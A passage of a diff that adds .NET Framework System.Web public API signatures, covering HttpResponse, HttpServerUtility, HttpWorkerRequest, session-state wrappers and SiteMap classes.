+ public void PushPromise(string path, string method, NameValueCollection headers);
+ public void Redirect(string url);
+ public void Redirect(string url, bool endResponse);
+ public void RedirectPermanent(string url);
+ public void RedirectPermanent(string url, bool endResponse);
+ public void RedirectToRoute(object routeValues);
+ public void RedirectToRoute(string routeName);
+ public void RedirectToRoute(string routeName, object routeValues);
+ public void RedirectToRoute(string routeName, RouteValueDictionary routeValues);
+ public void RedirectToRoute(RouteValueDictionary routeValues);
+ public void RedirectToRoutePermanent(object routeValues);
+ public void RedirectToRoutePermanent(string routeName);
+ public void RedirectToRoutePermanent(string routeName, object routeValues);
+ public void RedirectToRoutePermanent(string routeName, RouteValueDictionary routeValues);
+ public void RedirectToRoutePermanent(RouteValueDictionary routeValues);
+ public static void RemoveOutputCacheItem(string path);
+ public static void RemoveOutputCacheItem(string path, string providerName);
+ public void SetCookie(HttpCookie cookie);
+ public void TransmitFile(string filename);
+ public void TransmitFile(string filename, long offset, long length);
+ public void Write(char ch);
+ public void Write(char[] buffer, int index, int count);
+ public void Write(object obj);
+ public void Write(string s);
+ public void WriteFile(IntPtr fileHandle, long offset, long size);
+ public void WriteFile(string filename);
+ public void WriteFile(string filename, bool readIntoMemory);
+ public void WriteFile(string filename, long offset, long size);
+ public void WriteSubstitution(HttpResponseSubstitutionCallback callback);
+ }
+ public abstract class HttpResponseBase {
+ protected HttpResponseBase();
+ public virtual bool Buffer { get; set; }
+ public virtual bool BufferOutput { get; set; }
+ public virtual HttpCachePolicyBase Cache { get; }
+ public virtual string CacheControl { get; set; }
+ public virtual string Charset { get; set; }
+ public virtual CancellationToken ClientDisconnectedToken { get; }
+ public virtual Encoding ContentEncoding { get; set; }
+ public virtual string ContentType { get; set; }
+ public virtual HttpCookieCollection Cookies { get; }
+ public virtual int Expires { get; set; }
+ public virtual DateTime ExpiresAbsolute { get; set; }
+ public virtual Stream Filter { get; set; }
+ public virtual Encoding HeaderEncoding { get; set; }
+ public virtual NameValueCollection Headers { get; }
+ public virtual bool HeadersWritten { get; }
+ public virtual bool IsClientConnected { get; }
+ public virtual bool IsRequestBeingRedirected { get; }
+ public virtual TextWriter Output { get; set; }
+ public virtual Stream OutputStream { get; }
+ public virtual string RedirectLocation { get; set; }
+ public virtual string Status { get; set; }
+ public virtual int StatusCode { get; set; }
+ public virtual string StatusDescription { get; set; }
+ public virtual int SubStatusCode { get; set; }
+ public virtual bool SupportsAsyncFlush { get; }
+ public virtual bool SuppressContent { get; set; }
+ public virtual bool SuppressDefaultCacheControlHeader { get; set; }
+ public virtual bool SuppressFormsAuthenticationRedirect { get; set; }
+ public virtual bool TrySkipIisCustomErrors { get; set; }
+ public virtual void AddCacheDependency(params CacheDependency[] dependencies);
+ public virtual void AddCacheItemDependencies(ArrayList cacheKeys);
+ public virtual void AddCacheItemDependencies(string[] cacheKeys);
+ public virtual void AddCacheItemDependency(string cacheKey);
+ public virtual void AddFileDependencies(ArrayList filenames);
+ public virtual void AddFileDependencies(string[] filenames);
+ public virtual void AddFileDependency(string filename);
+ public virtual void AddHeader(string name, string value);
+ public virtual ISubscriptionToken AddOnSendingHeaders(Action<HttpContextBase> callback);
+ public virtual void AppendCookie(HttpCookie cookie);
+ public virtual void AppendHeader(string name, string value);
+ public virtual void AppendToLog(string param);
+ public virtual string ApplyAppPathModifier(string virtualPath);
+ public virtual IAsyncResult BeginFlush(AsyncCallback callback, object state);
+ public virtual void BinaryWrite(byte[] buffer);
+ public virtual void Clear();
+ public virtual void ClearContent();
+ public virtual void ClearHeaders();
+ public virtual void Close();
+ public virtual void DisableKernelCache();
+ public virtual void DisableUserCache();
+ public virtual void End();
+ public virtual void EndFlush(IAsyncResult asyncResult);
+ public virtual void Flush();
+ public virtual Task FlushAsync();
+ public virtual void Pics(string value);
+ public virtual void PushPromise(string path);
+ public virtual void PushPromise(string path, string method, NameValueCollection headers);
+ public virtual void Redirect(string url);
+ public virtual void Redirect(string url, bool endResponse);
+ public virtual void RedirectPermanent(string url);
+ public virtual void RedirectPermanent(string url, bool endResponse);
+ public virtual void RedirectToRoute(object routeValues);
+ public virtual void RedirectToRoute(string routeName);
+ public virtual void RedirectToRoute(string routeName, object routeValues);
+ public virtual void RedirectToRoute(string routeName, RouteValueDictionary routeValues);
+ public virtual void RedirectToRoute(RouteValueDictionary routeValues);
+ public virtual void RedirectToRoutePermanent(object routeValues);
+ public virtual void RedirectToRoutePermanent(string routeName);
+ public virtual void RedirectToRoutePermanent(string routeName, object routeValues);
+ public virtual void RedirectToRoutePermanent(string routeName, RouteValueDictionary routeValues);
+ public virtual void RedirectToRoutePermanent(RouteValueDictionary routeValues);
+ public virtual void RemoveOutputCacheItem(string path);
+ public virtual void RemoveOutputCacheItem(string path, string providerName);
+ public virtual void SetCookie(HttpCookie cookie);
+ public virtual void TransmitFile(string filename);
+ public virtual void TransmitFile(string filename, long offset, long length);
+ public virtual void Write(char ch);
+ public virtual void Write(char[] buffer, int index, int count);
+ public virtual void Write(object obj);
+ public virtual void Write(string s);
+ public virtual void WriteFile(IntPtr fileHandle, long offset, long size);
+ public virtual void WriteFile(string filename);
+ public virtual void WriteFile(string filename, bool readIntoMemory);
+ public virtual void WriteFile(string filename, long offset, long size);
+ public virtual void WriteSubstitution(HttpResponseSubstitutionCallback callback);
+ }
+ public delegate string HttpResponseSubstitutionCallback(HttpContext context);
+ public class HttpResponseWrapper : HttpResponseBase {
+ public HttpResponseWrapper(HttpResponse httpResponse);
+ public override bool Buffer { get; set; }
+ public override bool BufferOutput { get; set; }
+ public override HttpCachePolicyBase Cache { get; }
+ public override string CacheControl { get; set; }
+ public override string Charset { get; set; }
+ public override CancellationToken ClientDisconnectedToken { get; }
+ public override Encoding ContentEncoding { get; set; }
+ public override string ContentType { get; set; }
+ public override HttpCookieCollection Cookies { get; }
+ public override int Expires { get; set; }
+ public override DateTime ExpiresAbsolute { get; set; }
+ public override Stream Filter { get; set; }
+ public override Encoding HeaderEncoding { get; set; }
+ public override NameValueCollection Headers { get; }
+ public override bool HeadersWritten { get; }
+ public override bool IsClientConnected { get; }
+ public override bool IsRequestBeingRedirected { get; }
+ public override TextWriter Output { get; set; }
+ public override Stream OutputStream { get; }
+ public override string RedirectLocation { get; set; }
+ public override string Status { get; set; }
+ public override int StatusCode { get; set; }
+ public override string StatusDescription { get; set; }
+ public override int SubStatusCode { get; set; }
+ public override bool SupportsAsyncFlush { get; }
+ public override bool SuppressContent { get; set; }
+ public override bool SuppressDefaultCacheControlHeader { get; set; }
+ public override bool SuppressFormsAuthenticationRedirect { get; set; }
+ public override bool TrySkipIisCustomErrors { get; set; }
+ public override void AddCacheDependency(params CacheDependency[] dependencies);
+ public override void AddCacheItemDependencies(ArrayList cacheKeys);
+ public override void AddCacheItemDependencies(string[] cacheKeys);
+ public override void AddCacheItemDependency(string cacheKey);
+ public override void AddFileDependencies(ArrayList filenames);
+ public override void AddFileDependencies(string[] filenames);
+ public override void AddFileDependency(string filename);
+ public override void AddHeader(string name, string value);
+ public override ISubscriptionToken AddOnSendingHeaders(Action<HttpContextBase> callback);
+ public override void AppendCookie(HttpCookie cookie);
+ public override void AppendHeader(string name, string value);
+ public override void AppendToLog(string param);
+ public override string ApplyAppPathModifier(string virtualPath);
+ public override IAsyncResult BeginFlush(AsyncCallback callback, object state);
+ public override void BinaryWrite(byte[] buffer);
+ public override void Clear();
+ public override void ClearContent();
+ public override void ClearHeaders();
+ public override void Close();
+ public override void DisableKernelCache();
+ public override void DisableUserCache();
+ public override void End();
+ public override void EndFlush(IAsyncResult asyncResult);
+ public override void Flush();
+ public override Task FlushAsync();
+ public override void Pics(string value);
+ public override void PushPromise(string path);
+ public override void PushPromise(string path, string method, NameValueCollection headers);
+ public override void Redirect(string url);
+ public override void Redirect(string url, bool endResponse);
+ public override void RedirectPermanent(string url);
+ public override void RedirectPermanent(string url, bool endResponse);
+ public override void RedirectToRoute(object routeValues);
+ public override void RedirectToRoute(string routeName);
+ public override void RedirectToRoute(string routeName, object routeValues);
+ public override void RedirectToRoute(string routeName, RouteValueDictionary routeValues);
+ public override void RedirectToRoute(RouteValueDictionary routeValues);
+ public override void RedirectToRoutePermanent(object routeValues);
+ public override void RedirectToRoutePermanent(string routeName);
+ public override void RedirectToRoutePermanent(string routeName, object routeValues);
+ public override void RedirectToRoutePermanent(string routeName, RouteValueDictionary routeValues);
+ public override void RedirectToRoutePermanent(RouteValueDictionary routeValues);
+ public override void RemoveOutputCacheItem(string path);
+ public override void RemoveOutputCacheItem(string path, string providerName);
+ public override void SetCookie(HttpCookie cookie);
+ public override void TransmitFile(string filename);
+ public override void TransmitFile(string filename, long offset, long length);
+ public override void Write(char ch);
+ public override void Write(char[] buffer, int index, int count);
+ public override void Write(object obj);
+ public override void Write(string s);
+ public override void WriteFile(IntPtr fileHandle, long offset, long size);
+ public override void WriteFile(string filename);
+ public override void WriteFile(string filename, bool readIntoMemory);
+ public override void WriteFile(string filename, long offset, long size);
+ public override void WriteSubstitution(HttpResponseSubstitutionCallback callback);
+ }
+ public sealed class HttpRuntime {
+ public HttpRuntime();
+ public static string AppDomainAppId { get; }
+ public static string AppDomainAppPath { get; }
+ public static string AppDomainAppVirtualPath { get; }
+ public static string AppDomainId { get; }
+ public static string AspClientScriptPhysicalPath { get; }
+ public static string AspClientScriptVirtualPath { get; }
+ public static string AspInstallDirectory { get; }
+ public static string BinDirectory { get; }
+ public static Cache Cache { get; }
+ public static string ClrInstallDirectory { get; }
+ public static string CodegenDir { get; }
+ public static Version IISVersion { get; }
+ public static bool IsOnUNCShare { get; }
+ public static string MachineConfigurationDirectory { get; }
+ public static Version TargetFramework { get; }
+ public static bool UsingIntegratedPipeline { get; }
+ public static void Close();
+ public static NamedPermissionSet GetNamedPermissionSet();
+ public static void ProcessRequest(HttpWorkerRequest wr);
+ public static void UnloadAppDomain();
+ }
+ public sealed class HttpServerUtility {
+ public string MachineName { get; }
+ public int ScriptTimeout { get; set; }
+ public void ClearError();
+ public object CreateObject(string progID);
+ public object CreateObject(Type type);
+ public object CreateObjectFromClsid(string clsid);
+ public void Execute(string path);
+ public void Execute(string path, bool preserveForm);
+ public void Execute(string path, TextWriter writer);
+ public void Execute(string path, TextWriter writer, bool preserveForm);
+ public void Execute(IHttpHandler handler, TextWriter writer, bool preserveForm);
+ public Exception GetLastError();
+ public string HtmlDecode(string s);
+ public void HtmlDecode(string s, TextWriter output);
+ public string HtmlEncode(string s);
+ public void HtmlEncode(string s, TextWriter output);
+ public string MapPath(string path);
+ public void Transfer(string path);
+ public void Transfer(string path, bool preserveForm);
+ public void Transfer(IHttpHandler handler, bool preserveForm);
+ public void TransferRequest(string path);
+ public void TransferRequest(string path, bool preserveForm);
+ public void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers);
+ public void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers, bool preserveUser);
+ public string UrlDecode(string s);
+ public void UrlDecode(string s, TextWriter output);
+ public string UrlEncode(string s);
+ public void UrlEncode(string s, TextWriter output);
+ public string UrlPathEncode(string s);
+ public static byte[] UrlTokenDecode(string input);
+ public static string UrlTokenEncode(byte[] input);
+ }
+ public abstract class HttpServerUtilityBase {
+ protected HttpServerUtilityBase();
+ public virtual string MachineName { get; }
+ public virtual int ScriptTimeout { get; set; }
+ public virtual void ClearError();
+ public virtual object CreateObject(string progID);
+ public virtual object CreateObject(Type type);
+ public virtual object CreateObjectFromClsid(string clsid);
+ public virtual void Execute(string path);
+ public virtual void Execute(string path, bool preserveForm);
+ public virtual void Execute(string path, TextWriter writer);
+ public virtual void Execute(string path, TextWriter writer, bool preserveForm);
+ public virtual void Execute(IHttpHandler handler, TextWriter writer, bool preserveForm);
+ public virtual Exception GetLastError();
+ public virtual string HtmlDecode(string s);
+ public virtual void HtmlDecode(string s, TextWriter output);
+ public virtual string HtmlEncode(string s);
+ public virtual void HtmlEncode(string s, TextWriter output);
+ public virtual string MapPath(string path);
+ public virtual void Transfer(string path);
+ public virtual void Transfer(string path, bool preserveForm);
+ public virtual void Transfer(IHttpHandler handler, bool preserveForm);
+ public virtual void TransferRequest(string path);
+ public virtual void TransferRequest(string path, bool preserveForm);
+ public virtual void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers);
+ public virtual void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers, bool preserveUser);
+ public virtual string UrlDecode(string s);
+ public virtual void UrlDecode(string s, TextWriter output);
+ public virtual string UrlEncode(string s);
+ public virtual void UrlEncode(string s, TextWriter output);
+ public virtual string UrlPathEncode(string s);
+ public virtual byte[] UrlTokenDecode(string input);
+ public virtual string UrlTokenEncode(byte[] input);
+ }
+ public class HttpServerUtilityWrapper : HttpServerUtilityBase {
+ public HttpServerUtilityWrapper(HttpServerUtility httpServerUtility);
+ public override string MachineName { get; }
+ public override int ScriptTimeout { get; set; }
+ public override void ClearError();
+ public override object CreateObject(string progID);
+ public override object CreateObject(Type type);
+ public override object CreateObjectFromClsid(string clsid);
+ public override void Execute(string path);
+ public override void Execute(string path, bool preserveForm);
+ public override void Execute(string path, TextWriter writer);
+ public override void Execute(string path, TextWriter writer, bool preserveForm);
+ public override void Execute(IHttpHandler handler, TextWriter writer, bool preserveForm);
+ public override Exception GetLastError();
+ public override string HtmlDecode(string s);
+ public override void HtmlDecode(string s, TextWriter output);
+ public override string HtmlEncode(string s);
+ public override void HtmlEncode(string s, TextWriter output);
+ public override string MapPath(string path);
+ public override void Transfer(string path);
+ public override void Transfer(string path, bool preserveForm);
+ public override void Transfer(IHttpHandler handler, bool preserveForm);
+ public override void TransferRequest(string path);
+ public override void TransferRequest(string path, bool preserveForm);
+ public override void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers);
+ public override void TransferRequest(string path, bool preserveForm, string method, NameValueCollection headers, bool preserveUser);
+ public override string UrlDecode(string s);
+ public override void UrlDecode(string s, TextWriter output);
+ public override string UrlEncode(string s);
+ public override void UrlEncode(string s, TextWriter output);
+ public override string UrlPathEncode(string s);
+ public override byte[] UrlTokenDecode(string input);
+ public override string UrlTokenEncode(byte[] input);
+ }
+ public abstract class HttpSessionStateBase : ICollection, IEnumerable {
+ protected HttpSessionStateBase();
+ public virtual int CodePage { get; set; }
+ public virtual HttpSessionStateBase Contents { get; }
+ public virtual HttpCookieMode CookieMode { get; }
+ public virtual int Count { get; }
+ public virtual bool IsCookieless { get; }
+ public virtual bool IsNewSession { get; }
+ public virtual bool IsReadOnly { get; }
+ public virtual bool IsSynchronized { get; }
+ public virtual NameObjectCollectionBase.KeysCollection Keys { get; }
+ public virtual int LCID { get; set; }
+ public virtual SessionStateMode Mode { get; }
+ public virtual string SessionID { get; }
+ public virtual HttpStaticObjectsCollectionBase StaticObjects { get; }
+ public virtual object SyncRoot { get; }
+ public virtual object this[int index] { get; set; }
+ public virtual object this[string name] { get; set; }
+ public virtual int Timeout { get; set; }
+ public virtual void Abandon();
+ public virtual void Add(string name, object value);
+ public virtual void Clear();
+ public virtual void CopyTo(Array array, int index);
+ public virtual IEnumerator GetEnumerator();
+ public virtual void Remove(string name);
+ public virtual void RemoveAll();
+ public virtual void RemoveAt(int index);
+ }
+ public class HttpSessionStateWrapper : HttpSessionStateBase {
+ public HttpSessionStateWrapper(HttpSessionState httpSessionState);
+ public override int CodePage { get; set; }
+ public override HttpSessionStateBase Contents { get; }
+ public override HttpCookieMode CookieMode { get; }
+ public override int Count { get; }
+ public override bool IsCookieless { get; }
+ public override bool IsNewSession { get; }
+ public override bool IsReadOnly { get; }
+ public override bool IsSynchronized { get; }
+ public override NameObjectCollectionBase.KeysCollection Keys { get; }
+ public override int LCID { get; set; }
+ public override SessionStateMode Mode { get; }
+ public override string SessionID { get; }
+ public override HttpStaticObjectsCollectionBase StaticObjects { get; }
+ public override object SyncRoot { get; }
+ public override object this[int index] { get; set; }
+ public override object this[string name] { get; set; }
+ public override int Timeout { get; set; }
+ public override void Abandon();
+ public override void Add(string name, object value);
+ public override void Clear();
+ public override void CopyTo(Array array, int index);
+ public override IEnumerator GetEnumerator();
+ public override void Remove(string name);
+ public override void RemoveAll();
+ public override void RemoveAt(int index);
+ }
+ public sealed class HttpStaticObjectsCollection : ICollection, IEnumerable {
+ public HttpStaticObjectsCollection();
+ public int Count { get; }
+ public bool IsReadOnly { get; }
+ public bool IsSynchronized { get; }
+ public bool NeverAccessed { get; }
+ public object SyncRoot { get; }
+ public object this[string name] { get; }
+ public void CopyTo(Array array, int index);
+ public static HttpStaticObjectsCollection Deserialize(BinaryReader reader);
+ public IEnumerator GetEnumerator();
+ public object GetObject(string name);
+ public void Serialize(BinaryWriter writer);
+ }
+ public abstract class HttpStaticObjectsCollectionBase : ICollection, IEnumerable {
+ protected HttpStaticObjectsCollectionBase();
+ public virtual int Count { get; }
+ public virtual bool IsReadOnly { get; }
+ public virtual bool IsSynchronized { get; }
+ public virtual bool NeverAccessed { get; }
+ public virtual object SyncRoot { get; }
+ public virtual object this[string name] { get; }
+ public virtual void CopyTo(Array array, int index);
+ public virtual IEnumerator GetEnumerator();
+ public virtual object GetObject(string name);
+ public virtual void Serialize(BinaryWriter writer);
+ }
+ public class HttpStaticObjectsCollectionWrapper : HttpStaticObjectsCollectionBase {
+ public HttpStaticObjectsCollectionWrapper(HttpStaticObjectsCollection httpStaticObjectsCollection);
+ public override int Count { get; }
+ public override bool IsReadOnly { get; }
+ public override bool IsSynchronized { get; }
+ public override bool NeverAccessed { get; }
+ public override object SyncRoot { get; }
+ public override object this[string name] { get; }
+ public override void CopyTo(Array array, int index);
+ public override IEnumerator GetEnumerator();
+ public override object GetObject(string name);
+ public override void Serialize(BinaryWriter writer);
+ }
+ public abstract class HttpTaskAsyncHandler : IHttpAsyncHandler, IHttpHandler {
+ protected HttpTaskAsyncHandler();
+ public virtual bool IsReusable { get; }
+ public virtual void ProcessRequest(HttpContext context);
+ public abstract Task ProcessRequestAsync(HttpContext context);
+ IAsyncResult System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData);
+ void System.Web.IHttpAsyncHandler.EndProcessRequest(IAsyncResult result);
+ }
+ public sealed class HttpUnhandledException : HttpException {
+ public HttpUnhandledException();
+ public HttpUnhandledException(string message);
+ public HttpUnhandledException(string message, Exception innerException);
+ }
+ public enum HttpValidationStatus {
+ IgnoreThisRequest = 2,
+ Invalid = 1,
+ Valid = 3,
+ }
+ public abstract class HttpWorkerRequest {
+ public const int HeaderAccept = 20;
+ public const int HeaderAcceptCharset = 21;
+ public const int HeaderAcceptEncoding = 22;
+ public const int HeaderAcceptLanguage = 23;
+ public const int HeaderAcceptRanges = 20;
+ public const int HeaderAge = 21;
+ public const int HeaderAllow = 10;
+ public const int HeaderAuthorization = 24;
+ public const int HeaderCacheControl = 0;
+ public const int HeaderConnection = 1;
+ public const int HeaderContentEncoding = 13;
+ public const int HeaderContentLanguage = 14;
+ public const int HeaderContentLength = 11;
+ public const int HeaderContentLocation = 15;
+ public const int HeaderContentMd5 = 16;
+ public const int HeaderContentRange = 17;
+ public const int HeaderContentType = 12;
+ public const int HeaderCookie = 25;
+ public const int HeaderDate = 2;
+ public const int HeaderEtag = 22;
+ public const int HeaderExpect = 26;
+ public const int HeaderExpires = 18;
+ public const int HeaderFrom = 27;
+ public const int HeaderHost = 28;
+ public const int HeaderIfMatch = 29;
+ public const int HeaderIfModifiedSince = 30;
+ public const int HeaderIfNoneMatch = 31;
+ public const int HeaderIfRange = 32;
+ public const int HeaderIfUnmodifiedSince = 33;
+ public const int HeaderKeepAlive = 3;
+ public const int HeaderLastModified = 19;
+ public const int HeaderLocation = 23;
+ public const int HeaderMaxForwards = 34;
+ public const int HeaderPragma = 4;
+ public const int HeaderProxyAuthenticate = 24;
+ public const int HeaderProxyAuthorization = 35;
+ public const int HeaderRange = 37;
+ public const int HeaderReferer = 36;
+ public const int HeaderRetryAfter = 25;
+ public const int HeaderServer = 26;
+ public const int HeaderSetCookie = 27;
+ public const int HeaderTe = 38;
+ public const int HeaderTrailer = 5;
+ public const int HeaderTransferEncoding = 6;
+ public const int HeaderUpgrade = 7;
+ public const int HeaderUserAgent = 39;
+ public const int HeaderVary = 28;
+ public const int HeaderVia = 8;
+ public const int HeaderWarning = 9;
+ public const int HeaderWwwAuthenticate = 29;
+ public const int ReasonCachePolicy = 2;
+ public const int ReasonCacheSecurity = 3;
+ public const int ReasonClientDisconnect = 4;
+ public const int ReasonDefault = 0;
+ public const int ReasonFileHandleCacheMiss = 1;
+ public const int ReasonResponseCacheMiss = 0;
+ public const int RequestHeaderMaximum = 40;
+ public const int ResponseHeaderMaximum = 30;
+ protected HttpWorkerRequest();
+ public virtual string MachineConfigPath { get; }
+ public virtual string MachineInstallDirectory { get; }
+ public virtual Guid RequestTraceIdentifier { get; }
+ public virtual string RootWebConfigPath { get; }
+ public virtual bool SupportsAsyncFlush { get; }
+ public virtual bool SupportsAsyncRead { get; }
+ public virtual IAsyncResult BeginFlush(AsyncCallback callback, object state);
+ public virtual IAsyncResult BeginRead(byte[] buffer, int offset, int count, AsyncCallback callback, object state);
+ public virtual void CloseConnection();
+ public virtual void EndFlush(IAsyncResult asyncResult);
+ public abstract void EndOfRequest();
+ public virtual int EndRead(IAsyncResult asyncResult);
+ public abstract void FlushResponse(bool finalFlush);
+ public virtual string GetAppPath();
+ public virtual string GetAppPathTranslated();
+ public virtual string GetAppPoolID();
+ public virtual long GetBytesRead();
+ public virtual byte[] GetClientCertificate();
+ public virtual byte[] GetClientCertificateBinaryIssuer();
+ public virtual int GetClientCertificateEncoding();
+ public virtual byte[] GetClientCertificatePublicKey();
+ public virtual DateTime GetClientCertificateValidFrom();
+ public virtual DateTime GetClientCertificateValidUntil();
+ public virtual long GetConnectionID();
+ public virtual string GetFilePath();
+ public virtual string GetFilePathTranslated();
+ public abstract string GetHttpVerbName();
+ public abstract string GetHttpVersion();
+ public virtual string GetKnownRequestHeader(int index);
+ public static int GetKnownRequestHeaderIndex(string header);
+ public static string GetKnownRequestHeaderName(int index);
+ public static int GetKnownResponseHeaderIndex(string header);
+ public static string GetKnownResponseHeaderName(int index);
+ public abstract string GetLocalAddress();
+ public abstract int GetLocalPort();
+ public virtual string GetPathInfo();
+ public virtual byte[] GetPreloadedEntityBody();
+ public virtual int GetPreloadedEntityBody(byte[] buffer, int offset);
+ public virtual int GetPreloadedEntityBodyLength();
+ public virtual string GetProtocol();
+ public abstract string GetQueryString();
+ public virtual byte[] GetQueryStringRawBytes();
+ public abstract string GetRawUrl();
+ public abstract string GetRemoteAddress();
+ public virtual string GetRemoteName();
+ public abstract int GetRemotePort();
+ public virtual int GetRequestReason();
+ public virtual string GetServerName();
+ public virtual string GetServerVariable(string name);
+ public static string GetStatusDescription(int code);
+ public virtual int GetTotalEntityBodyLength();
+ public virtual string GetUnknownRequestHeader(string name);
+ public virtual string[][] GetUnknownRequestHeaders();
+ public abstract string GetUriPath();
+ public virtual long GetUrlContextID();
+ public virtual IntPtr GetUserToken();
+ public virtual IntPtr GetVirtualPathToken();
+ public bool HasEntityBody();
+ public virtual bool HeadersSent();
+ public virtual bool IsClientConnected();
+ public virtual bool IsEntireEntityBodyIsPreloaded();
+ public virtual bool IsSecure();
+ public virtual string MapPath(string virtualPath);
+ public virtual int ReadEntityBody(byte[] buffer, int size);
+ public virtual int ReadEntityBody(byte[] buffer, int offset, int size);
+ public virtual void SendCalculatedContentLength(int contentLength);
+ public virtual void SendCalculatedContentLength(long contentLength);
+ public abstract void SendKnownResponseHeader(int index, string value);
+ public abstract void SendResponseFromFile(IntPtr handle, long offset, long length);
+ public abstract void SendResponseFromFile(string filename, long offset, long length);
+ public abstract void SendResponseFromMemory(byte[] data, int length);
+ public virtual void SendResponseFromMemory(IntPtr data, int length);
+ public abstract void SendStatus(int statusCode, string statusDescription);
+ public abstract void SendUnknownResponseHeader(string name, string value);
+ public virtual void SetEndOfSendNotification(HttpWorkerRequest.EndOfSendNotification callback, object extraData);
+ public delegate void EndOfSendNotification(HttpWorkerRequest wr, object extraData);
+ }
+ public sealed class HttpWriter : TextWriter {
+ public override Encoding Encoding { get; }
+ public Stream OutputStream { get; }
+ public override void Close();
+ public override void Flush();
+ public override void Write(char ch);
+ public override void Write(char[] buffer, int index, int count);
+ public override void Write(object obj);
+ public override void Write(string s);
+ public void WriteBytes(byte[] buffer, int index, int count);
+ public override void WriteLine();
+ public void WriteString(string s, int index, int count);
+ }
+ public interface IHtmlString {
+ string ToHtmlString();
+ }
+ public interface IHttpAsyncHandler : IHttpHandler {
+ IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData);
+ void EndProcessRequest(IAsyncResult result);
+ }
+ public interface IHttpHandler {
+ bool IsReusable { get; }
+ void ProcessRequest(HttpContext context);
+ }
+ public interface IHttpHandlerFactory {
+ IHttpHandler GetHandler(HttpContext context, string requestType, string url, string pathTranslated);
+ void ReleaseHandler(IHttpHandler handler);
+ }
+ public interface IHttpModule {
+ void Dispose();
+ void Init(HttpApplication context);
+ }
+ public sealed class IisTraceListener : TraceListener {
+ public IisTraceListener();
+ public override void TraceData(TraceEventCache eventCache, string source, TraceEventType eventType, int id, object data);
+ public override void TraceData(TraceEventCache eventCache, string source, TraceEventType eventType, int id, params object[] data);
+ public override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType severity, int id, string message);
+ public override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType severity, int id, string format, params object[] args);
+ public override void Write(string message);
+ public override void Write(string message, string category);
+ public override void WriteLine(string message);
+ public override void WriteLine(string message, string category);
+ }
+ public interface IPartitionResolver {
+ void Initialize();
+ string ResolvePartition(object key);
+ }
+ public interface ISubscriptionToken {
+ bool IsActive { get; }
+ void Unsubscribe();
+ }
+ public interface ITlsTokenBindingInfo {
+ byte[] GetProvidedTokenBindingId();
+ byte[] GetReferredTokenBindingId();
+ }
+ public static class MimeMapping {
+ public static string GetMimeMapping(string fileName);
+ }
+ public sealed class ParserError {
+ public ParserError();
+ public ParserError(string errorText, string virtualPath, int line);
+ public string ErrorText { get; set; }
+ public int Line { get; set; }
+ public string VirtualPath { get; set; }
+ }
+ public sealed class ParserErrorCollection : CollectionBase {
+ public ParserErrorCollection();
+ public ParserErrorCollection(ParserError[] value);
+ public ParserError this[int index] { get; set; }
+ public int Add(ParserError value);
+ public void AddRange(ParserErrorCollection value);
+ public void AddRange(ParserError[] value);
+ public bool Contains(ParserError value);
+ public void CopyTo(ParserError[] array, int index);
+ public int IndexOf(ParserError value);
+ public void Insert(int index, ParserError value);
+ public void Remove(ParserError value);
+ }
+ public sealed class PreApplicationStartMethodAttribute : Attribute {
+ public PreApplicationStartMethodAttribute(Type type, string methodName);
+ public string MethodName { get; }
+ public Type Type { get; }
+ }
+ public class ProcessInfo {
+ public ProcessInfo();
+ public ProcessInfo(DateTime startTime, TimeSpan age, int processID, int requestCount, ProcessStatus status, ProcessShutdownReason shutdownReason, int peakMemoryUsed);
+ public TimeSpan Age { get; }
+ public int PeakMemoryUsed { get; }
+ public int ProcessID { get; }
+ public int RequestCount { get; }
+ public ProcessShutdownReason ShutdownReason { get; }
+ public DateTime StartTime { get; }
+ public ProcessStatus Status { get; }
+ public void SetAll(DateTime startTime, TimeSpan age, int processID, int requestCount, ProcessStatus status, ProcessShutdownReason shutdownReason, int peakMemoryUsed);
+ }
+ public class ProcessModelInfo {
+ public ProcessModelInfo();
+ public static ProcessInfo GetCurrentProcessInfo();
+ public static ProcessInfo[] GetHistory(int numRecords);
+ }
+ public enum ProcessShutdownReason {
+ DeadlockSuspected = 8,
+ IdleTimeout = 5,
+ MemoryLimitExceeded = 6,
+ None = 0,
+ PingFailed = 7,
+ RequestQueueLimit = 3,
+ RequestsLimit = 2,
+ Timeout = 4,
+ Unexpected = 1,
+ }
+ public enum ProcessStatus {
+ Alive = 1,
+ ShutDown = 3,
+ ShuttingDown = 2,
+ Terminated = 4,
+ }
+ public enum ReadEntityBodyMode {
+ Buffered = 3,
+ Bufferless = 2,
+ Classic = 1,
+ None = 0,
+ }
+ public enum RequestNotification {
+ AcquireRequestState = 32,
+ AuthenticateRequest = 2,
+ AuthorizeRequest = 4,
+ BeginRequest = 1,
+ EndRequest = 2048,
+ ExecuteRequestHandler = 128,
+ LogRequest = 1024,
+ MapRequestHandler = 16,
+ PreExecuteRequestHandler = 64,
+ ReleaseRequestState = 256,
+ ResolveRequestCache = 8,
+ SendResponse = 536870912,
+ UpdateRequestCache = 512,
+ }
+ public enum RequestNotificationStatus {
+ Continue = 0,
+ FinishRequest = 2,
+ Pending = 1,
+ }
+ public static class SiteMap {
+ public static SiteMapNode CurrentNode { get; }
+ public static bool Enabled { get; }
+ public static SiteMapProvider Provider { get; }
+ public static SiteMapProviderCollection Providers { get; }
+ public static SiteMapNode RootNode { get; }
+ public static event SiteMapResolveEventHandler SiteMapResolve;
+ }
+ public class SiteMapNode : ICloneable, IHierarchyData, INavigateUIData {
+ public SiteMapNode(SiteMapProvider provider, string key);
+ public SiteMapNode(SiteMapProvider provider, string key, string url);
+ public SiteMapNode(SiteMapProvider provider, string key, string url, string title);
+ public SiteMapNode(SiteMapProvider provider, string key, string url, string title, string description);
+ public SiteMapNode(SiteMapProvider provider, string key, string url, string title, string description, IList roles, NameValueCollection attributes, NameValueCollection explicitResourceKeys, string implicitResourceKey);
+ protected NameValueCollection Attributes { get; set; }
+ public virtual SiteMapNodeCollection ChildNodes { get; set; }
+ public virtual string Description { get; set; }
+ public virtual bool HasChildNodes { get; }
+ public string Key { get; }
+ public virtual SiteMapNode NextSibling { get; }
+ public virtual SiteMapNode ParentNode { get; set; }
+ public virtual SiteMapNode PreviousSibling { get; }
+ public SiteMapProvider Provider { get; }
